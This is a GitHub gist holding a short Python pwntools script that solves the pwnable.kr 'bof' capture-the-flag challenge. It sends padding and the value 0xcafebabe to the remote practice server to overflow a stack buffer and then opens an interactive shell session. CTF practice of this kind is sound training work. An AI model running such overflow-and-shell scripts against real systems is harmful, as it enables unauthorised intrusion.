Skip to content

Instantly share code, notes, and snippets.

@Aseyed
Created December 24, 2018 12:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Aseyed/db9c9685fef7f3b9399378f868aff3a3 to your computer and use it in GitHub Desktop.
Save Aseyed/db9c9685fef7f3b9399378f868aff3a3 to your computer and use it in GitHub Desktop.
pwnable-kr | bof
# Use python 2
from pwn import *
context.log_level = 'debug'
r = remote('pwnable.kr','9000')
p = 'a'*0x2c # for ebp
p += 'b'*4 # for sebp
p += 'c'*4 # for SEIP
p += p32(0xcafebabe)
r.sendline(p)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment